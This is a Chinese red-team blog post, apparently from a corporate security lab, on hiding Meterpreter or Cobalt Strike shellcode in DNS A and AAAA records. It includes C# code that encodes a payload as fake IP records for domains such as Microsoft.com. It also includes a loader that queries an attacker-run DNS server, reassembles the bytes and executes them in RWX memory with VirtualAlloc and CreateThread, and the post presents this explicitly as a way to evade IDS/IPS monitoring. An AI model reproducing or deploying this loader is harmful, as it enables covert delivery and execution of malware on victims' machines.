利用DNS A记录执行Shellcode

百家 作者:平安安全应急响应中心 2022-02-28 18:04:30


作者简介 /Profile/

罗逸,平安科技银河实验室资深安全研究员,从业7年,专注红蓝对抗研究,擅长免杀技术、目标控制、内网渗透等。



  • 0x01 什么是dns A记录

  • 0x02 DNS A记录的利用思路

  •          2.1 工具DNSmasq

  •          2.2 利用思路

  •          2.3 dns A记录传输数据优点

  • 0x03 IPV4 DNS A记录的利用设计

  •          3.1 使用限制

  •          3.2 设计思路

  •          3.3 代码实现

  •                  3.3.1 Dns_Create

  •                  3.3.2 开启DNS服务器

  •                  3.3.3 读取DNS A记录的Loader

  •          3.4 利用结果

  • 0x04 IPV6 DNS A记录的利用设计

  •          4.1 ipv6格式

  •          4.2 ipv6解析详情

  •          4.3 IPV6 DNS A记录传输数据

  •          4.4 C#实现IPV6 DNS A记录传输数据

  •                  4.4.1 DnsCreater

  •                  4.4.2 开启dns服务

  •                  4.4.3 IPV6 DNS A记录Loader

  •          4.5 利用结果

  • 0x05 拓展思路

  • 0x06 结论


0x01 什么是DNS A记录


我们都知道DNS(Domain Name System,域名系统),是互联网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。它运行在UDP协议之上,端口为53。
 
那什么是DNS A记录呢?其实DNS也分为别名记录、A记录、NS记录和MX记录等,而A记录是用来指定主机名(或域名)对应的IP地址记录。用户可以将该域名下的网站服务器指向到自己的web server上,同时也可以设置您域名的二级域名。
 
如下是microsoft.com在谷歌dns上解析的A记录:
λ nslookup micorsoft.com 8.8.8.8服务器:  google-public-dns-a.google.comAddress:  8.8.8.8非权威应答:名称:    micorsoft.comAddress:  209.15.13.134
解析出了micorsoft.com的IP地址为209.15.13.134。


0x02 DNS A记录的利用思路


2.1 工具DNSmasq


DNSmasq是一个小巧且方便地用于配置DNS和DHCP的工具,通过它就能简便的将自己配成一台dns服务器。选用它是因为它小巧,简易便于我们修改解析数据。
 
首先我们需要添加域名对应解析的IP地址,因为DNSmasq是读取的本机的/etc/hosts的,所以我们在里面添加一条解析。
vim /etc/hosts#添加下面一行192.168.1.22 java.com

然后运行DNSmasq:
dnsmasq --no-daemon --log-queries

这时候一个简易的dns服务器就搭建好了。查看这台vps的ip(dns server):


这时候我们将nslookup的dns server设置成我们自己的ip,来看java.com解析出的A记录:


如图,解析出来的A记录的ip地址就是我们自己设定的ip地址。

2.2 利用思路


由上面我们可以知道,通过dns A记录查询,可以得到我们自定义的数据。那么我们就有一个思路了,我们可以将DNS A记录自定义成我们的payload数据,然后在受害者的机器上通过DNS 解析来获得数据,然后再来加载执行它。

2.3 dns A记录传输数据优点


那我们使用dns A记录来传输数据有什么优点呢?最明显也是最大的优点就是在内网中IDS/IPS等防火墙设备一般是不会监控DNS协议的数据的。


0x03 IPV4 DNS A记录的利用设计


3.1 使用限制


那我们如何来设计一个合理的利用过程呢?首先我们需要明白DNS A记录解析的限制。
 
dns A记录能解析的数据是ip数据,也就是说它能解析出0-255的数据。例如:
0.0.51.66 java.com    #能解析192.168.1.255 java.com    #能解析192.168.1.256 java.com    #不能解析192.168.333.255 java.com    #不能解析

这就要求我们的payload的字节的ASCII值没有超过256的,幸运的是meterpreter和beacon的payload的字节都没有超过256的,所以能适用。具体解析的形式如下:
[xxx.xx.xxx].[yyy]

通过上述传输数据设计,能得出单个域名解析传输数据的最大值是:3 * 256 = 768 byte.
 
DNS A记录解析的IP地址数据是无序的,也就是说如果我们将payload数据填充为ip数据的4位,然后通过DNS A记录来解析,得到的数据是凌乱的,payload是无法执行的。

3.2 设计思路


根据以上的限制,我们就要设计出一种合理的利用方式。

  • 首先解决DNS A记录解析无序的问题


我们将解析的ip地址的前三位用来填充payload数据,最后一位用来表明数据的顺序,最后在接收到dns A记录数据之后,再根据最后一位来排序,得到正确的payload数据。

  • 解决合理的IP数据解析的问题


在payload自身没有存在字节ASCII值超过256的时候,但是payload的长度超过256*3=768,我们采用上述排序的方法,最后一位的大小就会超出0-255。所以这时候我们就要分成多域名解析,比如payload的前768字节填充成ip后解析为Microsoft.com的DNS A记录,剩余的数据填充成ip后解析成Google.com的DNS A记录,以此类推来达到传输全部payload数据的要求。
 
上诉都是基于IPV4的DNS解析的,其实如果是基于IPV6的DNS解析,这些限制都不会存在,后续讨论。

3.3 代码实现


3.3.1 Dns_Create


它是用来创建dns A记录的程序,即将我们输入的payload数据转换成 DNS A记录数据。
 
先将payload数据格式化成数组
string[] payload = _Payload.Replace(" ", "").Split(',');

将16进制的payload转换成10的ASCII值存放
int ip_counter = 0;if (payload.Length % 3 == 0){    ip_counter = payload.Length / 3;}else{    ip_counter = (payload.Length / 3 + 1);}int[] payload_int = new int[ip_counter * 3];for (int i = 0; i < payload.Length; i++){    payload_int[i] = Convert.ToInt32(payload[i], 16);}

如上,要看payload的长度是否超过3*256=768来决定是否使用多域名解析,并打印出DNS A记录解析的格式。
if (ip_counter <= 256){    for (int i = 0; i < ip_counter; i++)    {        string ip = null;        for (int j = 0; j < 3; j++)        {            ip += payload_int[i * 3 + j] + ".";        }        Console.WriteLine("{0} {1}", ip + i, "Microsoft.com"); //注意此处填充ip的最后一位i,其实是payload的排列顺序,在得到解析数据后要根据它来排序出正确顺序的payload。    }}else{    ...}

得到的最红解析的格式如下:
252.232.137.0 Microsoft.com0.0.0.1 Microsoft.com96.137.229.2 Microsoft.com49.210.100.3 Microsoft.com139.82.48.4 Microsoft.com139.82.12.5 Microsoft.com...198.139.7.11 Google.com1.195.133.12 Google.com192.117.229.13 Google.com88.195.232.14 Google.com137.253.255.15 Google.com255.49.48.16 Google.com46.48.46.17 Google.com48.46.56.18 Google.com0.0.0.19 Google.com0.0.0.20 Google.com

3.3.2 开启DNS服务器


前文中我们提到过使用DNSmasq来做一个简便的dns服务器。过程很简单:
 
编辑/etc/hosts,将上述程序得到的DNS A记录数据添加进去:
vim /etc/hosts96.137.229.2 Microsoft.com49.210.100.3 Microsoft.com139.82.48.4 Microsoft.com139.82.12.5 Microsoft.com...198.139.7.11 Google.com1.195.133.12 Google.com192.117.229.13 Google.com

启动DNSmasq
dnsmasq    #启动dnsmasqdnsmasq --no-daemon --log-queries    #记录日志

nalookup测试数据
λ nslookup microsoft.com 10.0.0.88服务器:  UnKnownAddress:  10.0.0.88名称:    microsoft.comAddresses:  0.0.0.1          96.137.229.2          49.210.100.3          139.82.48.4          139.82.12.5          139.82.20.6          139.114.40.7          15.183.74.8

3.3.3 读取DNS A记录的Loader


现在有了dns A记录的数据了,那我们怎么来获得它?怎么来由dns A记录还原出payload?怎么来执行payload呢?思路如下:
 
使用C#运行cmd命令,执行nslookup来回去DNS A记录数据
ProcessStartInfo ns_Prcs_info = new ProcessStartInfo("nslookup.exe", DomainName + " " + DnsServer);ns_Prcs_info.RedirectStandardInput = true;ns_Prcs_info.RedirectStandardOutput = true;ns_Prcs_info.UseShellExecute = false;Process nslookup = new Process();nslookup.StartInfo = ns_Prcs_info;nslookup.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;nslookup.Start();string computerList = nslookup.StandardOutput.ReadToEnd();

这一步得到的数据是:
服务器:  UnKnownAddress:  10.0.0.88名称:    microsoft.comAddresses:  0.0.0.1          96.137.229.2          49.210.100.3

而真实的payload和顺序数据只是在IP地址中,所以下一步是解析数IP地址数组。
 
解析ip地址数组
//格式化接收到的数据string[] lines = computerList.Replace("\t","").Replace("\r","").Split('\n');int ID = 0;//删除解析头数据foreach (var item in lines){    if (item.Contains(DNS_PTR_A))    {        break;    }    ID++;}//将解析的ip数据存入数组List<string> A_Records = new List<string>();try{    int FindID_FirstAddress = ID + 1;    A_Records.Add(lines[FindID_FirstAddress].Split(':')[1].Substring(2));    for (int iq = FindID_FirstAddress + 1; iq < lines.Length - 2; iq++)    {        A_Records.Add(lines[iq].Replace(" ",""));    }}

排序ip数据
List<int> Keys = new List<int>();List<string> Values = new List<string>();foreach (var item in A_Records){    int key = int.Parse(item.Split('.')[3]);    Keys.Add(key);    Values.Add(item);}var dict = new Dictionary<int, string>();for (int i = 0; i < Keys.Count; i++)    dict.Add(Keys[i], Values[i]);Keys.Sort();List<string> sortedVals = new List<string>();for (int i = 0; i < Keys.Count; i++){    sortedVals.Add(dict[Keys[i]]);}

还原出payload字节数组
byte[] XxXPayload = new byte[sortedVals.Count * 3];Int32 Xnumber = 0;for (int i = 0; i < sortedVals.Count; i++){    string[] temp = sortedVals[i].Split('.');    XxXPayload[Xnumber] = Convert.ToByte(temp[0]);    XxXPayload[Xnumber + 1] = Convert.ToByte(temp[1]);    XxXPayload[Xnumber + 2] = Convert.ToByte(temp[2]);    Xnumber++;    Xnumber++;    Xnumber++;}

经过这样4步就能得到解析一个域名的DNS A记录。那如果是payload的数据过长,我们采用的多域名解析,就还要将后面的域名DNA A记录解析数据拼接起来才是完整的payload数据。
 
多域名解析,拼接完整payload
List<byte> data = new List<byte>();byte[] data1 = __nslookup("Microsoft.com", dns_server);data.AddRange(data1);byte[] data2 = __nslookup("Google.com", dns_server);if(data2 != null)    data.AddRange(data2);byte[] _Exfiltration_DATA_Bytes_A_Records = data.ToArray();

通过上面5步,我们就可以获得完整、准确的payload数据。
 
执行payload
UInt32 funcAddr = VirtualAlloc(0, (UInt32)_Exfiltration_DATA_Bytes_A_Records.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);Marshal.Copy(_Exfiltration_DATA_Bytes_A_Records, 0, (IntPtr)(funcAddr), _Exfiltration_DATA_Bytes_A_Records.Length);IntPtr hThread = IntPtr.Zero;UInt32 threadId = 0;IntPtr pinfo = IntPtr.Zero;hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);WaitForSingleObject(hThread, 0xFFFFFFFF);

3.4 利用结果


生成DNS A记录
 

启动dns解析服务


运行解析结果
 


0x04 IPV6 DNS A记录的利用设计


4.1 ipv6格式


我们先来看IPV6的格式
fe80:1111:0034:abcd:ef00:ab11:ccf1:0000

同ipv4一样,在解析ipv6地址的时候也是无序的,所以我们将最后一个段用来做序号,前面7段用来做payload的载体,如下:
[xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx]:[yyyy]

这样能传输的数据最大值就能计算出来,每行有7段用来传输数据,就能传输28个字符,14个字节,所以最大的单个域名传输数据是:9999 * 14 = 139986b = 136.70KB,这个数据已经足够大了,还愁不能传输几百字节的payload吗?这样就能解决ipv4中对单个域名解析传输数据长度受限的问题(虽然我们前面解决这个问题的方式是通过多域名解析)。

4.2 ipv6解析详情


由于ipv6存在一种0位压缩表示法,即在某些情况下,一个IPv6地址中间可能包含很长的一段0,可以把连续的一段0压缩为“::”。但为保证地址解析的唯一性,地址中”::”只能出现一次。比如:
4805:0000:0000:0011:e87f:0000:0000:0065    -    4805::11:e87f:0:0:650000:0000:0000:302e:302e:3800:FFFF:0066    -    ::302e:302e:3800:ffff:663800:0000:0000:302e:302e:3800:FFFF:0066    -    3800::302e:302e:3800:ffff:663800:0000:0000:0000:0000:3800:FFFF:0066    -    3800::3800:ffff:663800:0000:0000:0000:0000:3800:0000:0066    -    3800::3800:0:66

这时候就会出现一个问题,如果我们传输的数据里出现连续的00,利用ipv6来解析的话,就会把这些00都省略了,无法保证数据的完整性。比如:
#payload:0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2#格式化成ipv6的解析格式(FFFF是对当payload不是14的倍数时,对ipv6地址的填充)fc48:83e4:f0e8:c800:0000:0000:4150:52515648:31d2:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF#解析结果fc48:83e4:f0e8:c800::4150:52515648:31d2:ffff:ffff:ffff:ffff:ffff:ffff

如上,数据发生了变化。使用nslookup验证
λ nslookup test.com 10.0.0.88服务器:  UnKnownAddress:  10.0.0.88名称:    test.comAddresses:  fc48:83e4:f0e8:c800::4150:5251          5648:31d2:ffff:ffff:ffff:ffff:ffff:ffff

4.3 IPV6 DNS A记录传输数据


经过上述分析,我们知道想通过DNS AAAA的ipv6解析来传输数据会存在下面两个问题:
  1. 解析数据的无序性

  2. ipv6的压缩表示法造成的数据不完整


我们一一的来寻找解决办法。
 
对于第一点,我们同ipv4解析一样,利用ipv6的最后一个段来存放数据顺序,解析之后再进行排序恢复。
 
对于第二点,个人暂时还没有找到完美的办法解决,这里暂时使用的字符替换方法。由于必须构造一个合法的ipv6地址,所以我们不能对传输的数据进行加密后再格式化成ipv6形式,再选择替换00的字符串时也不能时xx这种不合法的字符串,所以我们这里暂时选取出现概率较少的aa来替换00。

但是如果源数据中就包含aa,那数据完整性也不能得到保障,这个字符串可以根据自己传输的数据来实际选择。还好我们用来传输payload的话,字节数较少,很容易找到一个字符串来替换00。

4.4 C#实现IPV6 DNS A记录传输数据


4.4.1 DnsCreater


这个程序的作用和ipv4版本一样就是将我们的payload数据格式化成DNS AAAA解析的ipv6地址形式。
 
将payload格式化成数组,并替换00
string[] payload = _Payload.Replace(" ", "").Replace("0x","").Replace("00","aa").Split(',');

计算需要的ipv6地址数
int ip_counter = 0;if (payload.Length % 14 == 0){    ip_counter = payload.Length / 14;}else{    ip_counter = (payload.Length / 14 + 1);}

填充单个ipv6地址
int n = 0;int f = 0;try{    for (; n < 7; n++)    {        for (int m = 0; m < 2; m++)        {            p += payload[flag];            f++;            flag++;        }        p += ":";        f = 0;    } }

如果payload不是14的倍数,要将最后一个ipv6地址用ff填充成正常形式
catch{    switch (n)    {        case 0: p += "FF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:"; break;        case 1:            if (f == 0) {                p += "FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:";            }            else            {                p += "FF:FFFF:FFFF:FFFF:FFFF:FFFF:";            }            break;        ...    }}

输出ipv6解析形式,这里ipv6的前7段时payload数据,最后一段表示的是顺序。而这里我们以解析Microsoft.com为例。
int v = i + 1;Console.WriteLine("{0}{1} {2}", p, v.ToString("0000"), "Microsoft.com");

输出结果
fc48:83e4:f0e8:c8aa:aaaa:4151:4150:0001 Microsoft.com5251:5648:31d2:6548:8b52:6048:8b52:0002 Microsoft.com1848:8b52:2048:8b72:5048:0fb7:4a4a:0003 Microsoft.com...4805:aaaa:aaaa:50c3:e87f:fdff:ff31:0065 Microsoft.com302e:302e:302e:38aa:aaaa:aaaa:FFFF:0066 Microsoft.com

4.4.2 开启dns服务


这里开启dns服务步骤和ipv4的一样,就不再介绍。

4.4.3 IPV6 DNS A记录Loader


此程序和ipv4的作用一样,是一个payload loader。通过DNS AAAA解析来获得payload数据。
 
程序的前半部分和ipv4的一样,通过nslookup来获得DNS AAAA解析数据。后面由于ipv6的0位压缩表示法,会将01c1这种数据压缩成1c1,但是我们FF替换是00而没有处理这种数据,所以需要对ipv6的每一段进行一次填0处理,来确保数据的完整性。
 
填0函数
public static string __zero(string str){    string[] temp_normalize = str.Split(':');    for (int ix = 0; ix < temp_normalize.Length; ix++)    {        int count = temp_normalize[ix].Length;        if (count < 4)        {            Console.ForegroundColor = ConsoleColor.Green;            for (int j = 0; j < 4 - count; j++)            {                temp_normalize[ix] = "0" + temp_normalize[ix];            }        }    }    return string.Join(":", temp_normalize);}

获得nslookup数据后,解析处理后的payload的第一行,并进行填0
string[] All_lines = computerList.Replace("\t", "").Replace("\r", "").Split('\n');int start = 0;List<string> A_Records = new List<string>();for (int x = 0; x < All_lines.Length; x++){    if (All_lines[x].ToUpper().Contains("ADDRESSES:"))    {        int f = All_lines[x].IndexOf("Addresses:  ") + "Addresses:  ".Length;        string str = All_lines[x].Substring(f, All_lines[x].Length - 12);        A_Records.Add(__zero(str));        start = x;        break;    }}

解析后续的payload并填0
for(int i = start + 1; i < All_lines.Length - 2; i++){    string str = All_lines[i].Replace(" ", "");    A_Records.Add(__zero(str));}

排序解析后的ipv6数据,并将每个ipv6地址包含的payload数据恢复出来,然后拼接。
List<string> Keys = new List<string>();List<string> Values = new List<string>();foreach (var item in A_Records){    string key = item.Split(':')[7];    Keys.Add(key);    string value = "";    for(int i = 0; i <= 6; i++)    {        value += item.Split(':')[i];    }    Values.Add(value);}var dict = new Dictionary<string, string>();for (int i = 0; i < Keys.Count; i++)    dict.Add(Keys[i], Values[i]);Keys.Sort();string DATA = "";for (int i = 0; i < Keys.Count; i++){    DATA += dict[Keys[i]];}

此时的数据还是原始payload替换00之后的数据,所以下一步我们就是将payload字符串格式化成字节数组,并将aa替换成00,来还原原始的payload。
string tmp = string.Empty;byte[] __Bytes = new byte[DATA.Length / 2];string t = string.Empty;for (int i = 0; i < __Bytes.Length; i++){    int str_start = i * 2;    tmp = DATA.Substring(str_start, 2);    if (tmp == "aa")        tmp = "00";    t += tmp;    byte current = Convert.ToByte("0x" + tmp.ToString(), 16);    __Bytes[i] = current;}

其实到这里,我们获得的数据还是和原始的payload数据不一样,因为我们再构造正确的IPV6地址格式的时候,再payload的末尾填充了FF,但是这里的FF并不会影响payload的运行,所以就不处理了。

4.5 利用结果



0x05 拓展思路


这里我们是利用的自己的dns服务器,解析的合法域名的的A记录数据。那我们能不能利用自己的域名的A记录解析来作为数据传输的载体呢?比如我们购买亚马逊的aws和域名,然后添加我们的A记录数据为payload数据。


0x06 结论


DNS协议在很多的IDS/IPS设备中都是不被检测的,利用DNS解析来作为数据传输还是很有安全保证的。缺点就是构造相对麻烦,也有对payload字节的特定限制。


银河实验室

银河实验室(GalaxyLab)是平安集团信息安全部下一个相对独立的安全实验室,主要从事安全技术研究和安全测试工作。团队内现在覆盖逆向、物联网、Web、Android、iOS、云平台区块链安全等多个安全方向。
官网:http://galaxylab.pingan.com.cn/



往期回顾


技术

利用图片隐写执行shellcode

技术

【干货】cobaltstrike通信协议研究

技术

TP-Link XDR-5430-V2 研究分享 - 第一章

技术

Nexus Repository Manager历史表达式注入漏洞分析




长按识别二维码关注我们

微信号:PSRC_Team



球分享

球点赞

球在看



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接